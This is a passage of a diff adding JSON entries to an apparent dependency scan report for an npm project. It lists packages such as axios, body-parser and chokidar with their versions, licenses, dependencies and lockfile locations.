+ "PURL": "pkg:npm/%40types/request@2.48.13",
+ "UID": "cfca9fbcb751d85c"
+ },
+ "Version": "2.48.13",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@types/caseless@0.12.5",
+ "@types/node@20.19.39",
+ "@types/tough-cookie@4.0.5",
+ "form-data@2.5.5"
+ ],
+ "Locations": [
+ {
+ "StartLine": 3079,
+ "EndLine": 3091
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@types/tough-cookie@4.0.5",
+ "Name": "@types/tough-cookie",
+ "Identifier": {
+ "PURL": "pkg:npm/%40types/tough-cookie@4.0.5",
+ "UID": "63406eba3ca131d"
+ },
+ "Version": "4.0.5",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3191,
+ "EndLine": 3197
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@types/ws@8.18.1",
+ "Name": "@types/ws",
+ "Identifier": {
+ "PURL": "pkg:npm/%40types/ws@8.18.1",
+ "UID": "4552b4cf6387342a"
+ },
+ "Version": "8.18.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@types/node@20.19.39"
+ ],
+ "Locations": [
+ {
+ "StartLine": 3198,
+ "EndLine": 3206
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "abbrev@2.0.0",
+ "Name": "abbrev",
+ "Identifier": {
+ "PURL": "pkg:npm/abbrev@2.0.0",
+ "UID": "6ebca42264f8d8c2"
+ },
+ "Version": "2.0.0",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3317,
+ "EndLine": 3325
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "abort-controller@3.0.0",
+ "Name": "abort-controller",
+ "Identifier": {
+ "PURL": "pkg:npm/abort-controller@3.0.0",
+ "UID": "858eccdc130cb82"
+ },
+ "Version": "3.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "event-target-shim@5.0.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 3326,
+ "EndLine": 3338
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "abs-svg-path@0.1.1",
+ "Name": "abs-svg-path",
+ "Identifier": {
+ "PURL": "pkg:npm/abs-svg-path@0.1.1",
+ "UID": "719c50414777739f"
+ },
+ "Version": "0.1.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3339,
+ "EndLine": 3344
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "accepts@1.3.8",
+ "Name": "accepts",
+ "Identifier": {
+ "PURL": "pkg:npm/accepts@1.3.8",
+ "UID": "737b7e223834ea75"
+ },
+ "Version": "1.3.8",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "mime-types@2.1.35",
+ "negotiator@0.6.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 3345,
+ "EndLine": 3357
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "agent-base@6.0.2",
+ "Name": "agent-base",
+ "Identifier": {
+ "PURL": "pkg:npm/agent-base@6.0.2",
+ "UID": "53e758bccb8bbae6"
+ },
+ "Version": "6.0.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "debug@4.4.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6180,
+ "EndLine": 6192
+ },
+ {
+ "StartLine": 9597,
+ "EndLine": 9609
+ },
+ {
+ "StartLine": 10064,
+ "EndLine": 10075
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "agent-base@7.1.4",
+ "Name": "agent-base",
+ "Identifier": {
+ "PURL": "pkg:npm/agent-base@7.1.4",
+ "UID": "58918088e252a98b"
+ },
+ "Version": "7.1.4",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3394,
+ "EndLine": 3403
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "ansi-regex@5.0.1",
+ "Name": "ansi-regex",
+ "Identifier": {
+ "PURL": "pkg:npm/ansi-regex@5.0.1",
+ "UID": "5fcb6bae138cfbb"
+ },
+ "Version": "5.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3421,
+ "EndLine": 3429
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "ansi-regex@6.2.2",
+ "Name": "ansi-regex",
+ "Identifier": {
+ "PURL": "pkg:npm/ansi-regex@6.2.2",
+ "UID": "57f8cef96bc42a7a"
+ },
+ "Version": "6.2.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1438,
+ "EndLine": 1449
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "ansi-styles@4.3.0",
+ "Name": "ansi-styles",
+ "Identifier": {
+ "PURL": "pkg:npm/ansi-styles@4.3.0",
+ "UID": "14549cf2fc021d"
+ },
+ "Version": "4.3.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "color-convert@2.0.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 3430,
+ "EndLine": 3444
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "ansi-styles@6.2.3",
+ "Name": "ansi-styles",
+ "Identifier": {
+ "PURL": "pkg:npm/ansi-styles@6.2.3",
+ "UID": "a7c05a7a9bcda990"
+ },
+ "Version": "6.2.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1450,
+ "EndLine": 1461
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "any-promise@1.3.0",
+ "Name": "any-promise",
+ "Identifier": {
+ "PURL": "pkg:npm/any-promise@1.3.0",
+ "UID": "3f1a0d5b8b814d1c"
+ },
+ "Version": "1.3.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3445,
+ "EndLine": 3450
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "anymatch@3.1.3",
+ "Name": "anymatch",
+ "Identifier": {
+ "PURL": "pkg:npm/anymatch@3.1.3",
+ "UID": "10b5b304c2386dbd"
+ },
+ "Version": "3.1.3",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "normalize-path@3.0.0",
+ "picomatch@2.3.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 3451,
+ "EndLine": 3463
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "append-field@1.0.0",
+ "Name": "append-field",
+ "Identifier": {
+ "PURL": "pkg:npm/append-field@1.0.0",
+ "UID": "e506406553a20731"
+ },
+ "Version": "1.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3464,
+ "EndLine": 3469
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "arg@5.0.2",
+ "Name": "arg",
+ "Identifier": {
+ "PURL": "pkg:npm/arg@5.0.2",
+ "UID": "ed1f92f13f84203a"
+ },
+ "Version": "5.0.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3470,
+ "EndLine": 3475
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "array-flatten@1.1.1",
+ "Name": "array-flatten",
+ "Identifier": {
+ "PURL": "pkg:npm/array-flatten@1.1.1",
+ "UID": "f9e0ab8e78c5b41b"
+ },
+ "Version": "1.1.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3483,
+ "EndLine": 3488
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "arrify@2.0.1",
+ "Name": "arrify",
+ "Identifier": {
+ "PURL": "pkg:npm/arrify@2.0.1",
+ "UID": "f905947c5703108f"
+ },
+ "Version": "2.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3489,
+ "EndLine": 3498
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "async-retry@1.3.3",
+ "Name": "async-retry",
+ "Identifier": {
+ "PURL": "pkg:npm/async-retry@1.3.3",
+ "UID": "5e47fb0a7260bb90"
+ },
+ "Version": "1.3.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "retry@0.13.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 3516,
+ "EndLine": 3525
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "asynckit@0.4.0",
+ "Name": "asynckit",
+ "Identifier": {
+ "PURL": "pkg:npm/asynckit@0.4.0",
+ "UID": "c93c5aaba256e827"
+ },
+ "Version": "0.4.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3526,
+ "EndLine": 3531
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "autoprefixer@10.5.0",
+ "Name": "autoprefixer",
+ "Identifier": {
+ "PURL": "pkg:npm/autoprefixer@10.5.0",
+ "UID": "be06f9b7bfed7c6a"
+ },
+ "Version": "10.5.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "browserslist@4.28.2",
+ "caniuse-lite@1.0.30001791",
+ "fraction.js@5.3.4",
+ "picocolors@1.1.1",
+ "postcss-value-parser@4.2.0",
+ "postcss@8.5.12"
+ ],
+ "Locations": [
+ {
+ "StartLine": 3532,
+ "EndLine": 3567
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "axios@1.15.2",
+ "Name": "axios",
+ "Identifier": {
+ "PURL": "pkg:npm/axios@1.15.2",
+ "UID": "912ac8b12f666bfc"
+ },
+ "Version": "1.15.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "follow-redirects@1.16.0",
+ "form-data@4.0.5",
+ "proxy-from-env@2.1.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 3568,
+ "EndLine": 3578
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "balanced-match@1.0.2",
+ "Name": "balanced-match",
+ "Identifier": {
+ "PURL": "pkg:npm/balanced-match@1.0.2",
+ "UID": "37c7f4bafd016aa7"
+ },
+ "Version": "1.0.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3595,
+ "EndLine": 3600
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "base64-js@0.0.8",
+ "Name": "base64-js",
+ "Identifier": {
+ "PURL": "pkg:npm/base64-js@0.0.8",
+ "UID": "daafced1bc0e25fc"
+ },
+ "Version": "0.0.8",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6752,
+ "EndLine": 6760
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "base64-js@1.5.1",
+ "Name": "base64-js",
+ "Identifier": {
+ "PURL": "pkg:npm/base64-js@1.5.1",
+ "UID": "17cd067319d5ca87"
+ },
+ "Version": "1.5.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3601,
+ "EndLine": 3620
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "base64id@2.0.0",
+ "Name": "base64id",
+ "Identifier": {
+ "PURL": "pkg:npm/base64id@2.0.0",
+ "UID": "3612cd58582ae011"
+ },
+ "Version": "2.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3621,
+ "EndLine": 3629
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "baseline-browser-mapping@2.10.24",
+ "Name": "baseline-browser-mapping",
+ "Identifier": {
+ "PURL": "pkg:npm/baseline-browser-mapping@2.10.24",
+ "UID": "319688dc6d0d6011"
+ },
+ "Version": "2.10.24",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3630,
+ "EndLine": 3641
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "basic-auth@2.0.1",
+ "Name": "basic-auth",
+ "Identifier": {
+ "PURL": "pkg:npm/basic-auth@2.0.1",
+ "UID": "b9d07fdc1c251fe4"
+ },
+ "Version": "2.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "safe-buffer@5.1.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 3642,
+ "EndLine": 3653
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "bcryptjs@2.4.3",
+ "Name": "bcryptjs",
+ "Identifier": {
+ "PURL": "pkg:npm/bcryptjs@2.4.3",
+ "UID": "2b1268863687095d"
+ },
+ "Version": "2.4.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3660,
+ "EndLine": 3665
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "bidi-js@1.0.3",
+ "Name": "bidi-js",
+ "Identifier": {
+ "PURL": "pkg:npm/bidi-js@1.0.3",
+ "UID": "64ec0b3ebcce1f79"
+ },
+ "Version": "1.0.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "require-from-string@2.0.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 3666,
+ "EndLine": 3674
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "bignumber.js@9.3.1",
+ "Name": "bignumber.js",
+ "Identifier": {
+ "PURL": "pkg:npm/bignumber.js@9.3.1",
+ "UID": "3d5d6d5506b7e0ea"
+ },
+ "Version": "9.3.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3675,
+ "EndLine": 3684
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "binary-extensions@2.3.0",
+ "Name": "binary-extensions",
+ "Identifier": {
+ "PURL": "pkg:npm/binary-extensions@2.3.0",
+ "UID": "4c0106a675c1d2c4"
+ },
+ "Version": "2.3.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3685,
+ "EndLine": 3696
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "body-parser@1.20.5",
+ "Name": "body-parser",
+ "Identifier": {
+ "PURL": "pkg:npm/body-parser@1.20.5",
+ "UID": "3f1264e9543f8862"
+ },
+ "Version": "1.20.5",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "bytes@3.1.2",
+ "content-type@1.0.5",
+ "debug@2.6.9",
+ "depd@2.0.0",
+ "destroy@1.2.0",
+ "http-errors@2.0.1",
+ "iconv-lite@0.4.24",
+ "on-finished@2.4.1",
+ "qs@6.15.1",
+ "raw-body@2.5.3",
+ "type-is@1.6.18",
+ "unpipe@1.0.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 3697,
+ "EndLine": 3720
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "brace-expansion@2.1.0",
+ "Name": "brace-expansion",
+ "Identifier": {
+ "PURL": "pkg:npm/brace-expansion@2.1.0",
+ "UID": "3660fe3a33703bb"
+ },
+ "Version": "2.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "balanced-match@1.0.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4753,
+ "EndLine": 4761
+ },
+ {
+ "StartLine": 6523,
+ "EndLine": 6531
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "braces@3.0.3",
+ "Name": "braces",
+ "Identifier": {
+ "PURL": "pkg:npm/braces@3.0.3",
+ "UID": "462d5121ded474d7"
+ },
+ "Version": "3.0.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "fill-range@7.1.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 3762,
+ "EndLine": 3773
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "brotli@1.3.3",
+ "Name": "brotli",
+ "Identifier": {
+ "PURL": "pkg:npm/brotli@1.3.3",
+ "UID": "89e467fc10b8d89c"
+ },
+ "Version": "1.3.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "base64-js@1.5.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 3774,
+ "EndLine": 3782
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "browserify-zlib@0.2.0",
+ "Name": "browserify-zlib",
+ "Identifier": {
+ "PURL": "pkg:npm/browserify-zlib@0.2.0",
+ "UID": "e5e83886eecb1038"
+ },
+ "Version": "0.2.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "pako@1.0.11"
+ ],
+ "Locations": [
+ {
+ "StartLine": 3783,
+ "EndLine": 3791
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "browserslist@4.28.2",
+ "Name": "browserslist",
+ "Identifier": {
+ "PURL": "pkg:npm/browserslist@4.28.2",
+ "UID": "9989820925cb4561"
+ },
+ "Version": "4.28.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "baseline-browser-mapping@2.10.24",
+ "caniuse-lite@1.0.30001791",
+ "electron-to-chromium@1.5.345",
+ "node-releases@2.0.38",
+ "update-browserslist-db@1.2.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 3792,
+ "EndLine": 3824
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "buffer-equal-constant-time@1.0.1",
+ "Name": "buffer-equal-constant-time",
+ "Identifier": {
+ "PURL": "pkg:npm/buffer-equal-constant-time@1.0.1",
+ "UID": "296320b77d22f63a"
+ },
+ "Version": "1.0.1",
+ "Licenses": [
+ "BSD-3-Clause"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3825,
+ "EndLine": 3830
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "buffer-from@1.1.2",
+ "Name": "buffer-from",
+ "Identifier": {
+ "PURL": "pkg:npm/buffer-from@1.1.2",
+ "UID": "4b1f69aae3458b25"
+ },
+ "Version": "1.1.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3831,
+ "EndLine": 3836
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "busboy@1.6.0",
+ "Name": "busboy",
+ "Identifier": {
+ "PURL": "pkg:npm/busboy@1.6.0",
+ "UID": "48636b97e9eae06a"
+ },
+ "Version": "1.6.0",
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "streamsearch@1.1.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 3837,
+ "EndLine": 3847
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "bytes@3.1.2",
+ "Name": "bytes",
+ "Identifier": {
+ "PURL": "pkg:npm/bytes@3.1.2",
+ "UID": "f3d5c7a8d1e4f183"
+ },
+ "Version": "3.1.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3848,
+ "EndLine": 3856
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "call-bind-apply-helpers@1.0.2",
+ "Name": "call-bind-apply-helpers",
+ "Identifier": {
+ "PURL": "pkg:npm/call-bind-apply-helpers@1.0.2",
+ "UID": "6ebd38e62a74b66d"
+ },
+ "Version": "1.0.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "es-errors@1.3.0",
+ "function-bind@1.1.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 3867,
+ "EndLine": 3879
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "call-bound@1.0.4",
+ "Name": "call-bound",
+ "Identifier": {
+ "PURL": "pkg:npm/call-bound@1.0.4",
+ "UID": "c6be2c8f0227c863"
+ },
+ "Version": "1.0.4",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "call-bind-apply-helpers@1.0.2",
+ "get-intrinsic@1.3.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 3880,
+ "EndLine": 3895
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "camelcase@5.3.1",
+ "Name": "camelcase",
+ "Identifier": {
+ "PURL": "pkg:npm/camelcase@5.3.1",
+ "UID": "559b7c107bd0c4d2"
+ },
+ "Version": "5.3.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3906,
+ "EndLine": 3914
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "camelcase-css@2.0.1",
+ "Name": "camelcase-css",
+ "Identifier": {
+ "PURL": "pkg:npm/camelcase-css@2.0.1",
+ "UID": "5e4ccd143ecdfbf1"
+ },
+ "Version": "2.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3915,
+ "EndLine": 3923
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "caniuse-lite@1.0.30001791",
+ "Name": "caniuse-lite",
+ "Identifier": {
+ "PURL": "pkg:npm/caniuse-lite@1.0.30001791",
+ "UID": "b15b1a1fb62f517d"
+ },
+ "Version": "1.0.30001791",
+ "Licenses": [
+ "CC-BY-4.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3924,
+ "EndLine": 3943
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "chokidar@3.6.0",
+ "Name": "chokidar",
+ "Identifier": {
+ "PURL": "pkg:npm/chokidar@3.6.0",
+ "UID": "4d5e9a887006b4af"
+ },
+ "Version": "3.6.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "anymatch@3.1.3",
+ "braces@3.0.3",
+ "fsevents@2.3.3",
+ "glob-parent@5.1.2",
+ "is-binary-path@2.1.0",
+ "is-glob@4.0.3",
+ "normalize-path@3.0.0",
+ "readdirp@3.6.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 3993,
+ "EndLine": 4016
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "client-only@0.0.1",
+ "Name": "client-only",
+ "Identifier": {
+ "PURL": "pkg:npm/client-only@0.0.1",
+ "UID": "c7336dbbc792d08d"
+ },
+ "Version": "0.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4029,
+ "EndLine": 4034
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "cliui@6.0.0",
+ "Name": "cliui",
+ "Identifier": {
+ "PURL": "pkg:npm/cliui@6.0.0",
+ "UID": "5659e150fc5ef670"
+ },
+ "Version": "6.0.0",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "string-width@4.2.3",
+ "strip-ansi@6.0.1",
+ "wrap-ansi@6.2.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8191,
+ "EndLine": 8201
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "cliui@8.0.1",
+ "Name": "cliui",
+ "Identifier": {
+ "PURL": "pkg:npm/cliui@8.0.1",
+ "UID": "662eaf1e64bfbfec"
+ },
+ "Version": "8.0.1",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "string-width@4.2.3",
+ "strip-ansi@6.0.1",
+ "wrap-ansi@7.0.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4035,
+ "EndLine": 4049
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "clone@2.1.2",
+ "Name": "clone",
+ "Identifier": {
+ "PURL": "pkg:npm/clone@2.1.2",
+ "UID": "e1020a918c0500a6"
+ },
+ "Version": "2.1.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4050,
+ "EndLine": 4058
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "clsx@2.1.1",
+ "Name": "clsx",
+ "Identifier": {
+ "PURL": "pkg:npm/clsx@2.1.1",
+ "UID": "50de477be7aabd37"
+ },
+ "Version": "2.1.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4059,
+ "EndLine": 4067
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "cluster-key-slot@1.1.2",
+ "Name": "cluster-key-slot",
+ "Identifier": {
+ "PURL": "pkg:npm/cluster-key-slot@1.1.2",
+ "UID": "4c70e741a480df20"
+ },
+ "Version": "1.1.2",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4068,
+ "EndLine": 4076
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "color-convert@2.0.1",
+ "Name": "color-convert",
+ "Identifier": {
+ "PURL": "pkg:npm/color-convert@2.0.1",
+ "UID": "b43288967c904ffd"
+ },
+ "Version": "2.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "color-name@1.1.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4077,
+ "EndLine": 4088
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "color-name@1.1.4",
+ "Name": "color-name",
+ "Identifier": {
+ "PURL": "pkg:npm/color-name@1.1.4",
+ "UID": "b6c8aaf6425dcbe9"
+ },
+ "Version": "1.1.4",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 4089,
+ "EndLine": 4094
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "color-name@2.1.0",
+ "Name": "color-name",
+ "Identifier": {
+ "PURL": "pkg:npm/color-name@2.1.0",
+ "UID": "bee58c9e25a6ad4"
+ },
+ "Version": "2.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 2264,
+ "EndLine": 2272
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "color-string@1.9.1",
+ "Name": "color-string",
+ "Identifier": {
+ "PURL": "pkg:npm/color-string@1.9.1",
+ "UID": "d54f847f2ae918c8"
+ },
+ "Version": "1.9.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "color-name@1.1.4",
+ "simple-swizzle@0.2.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4095,
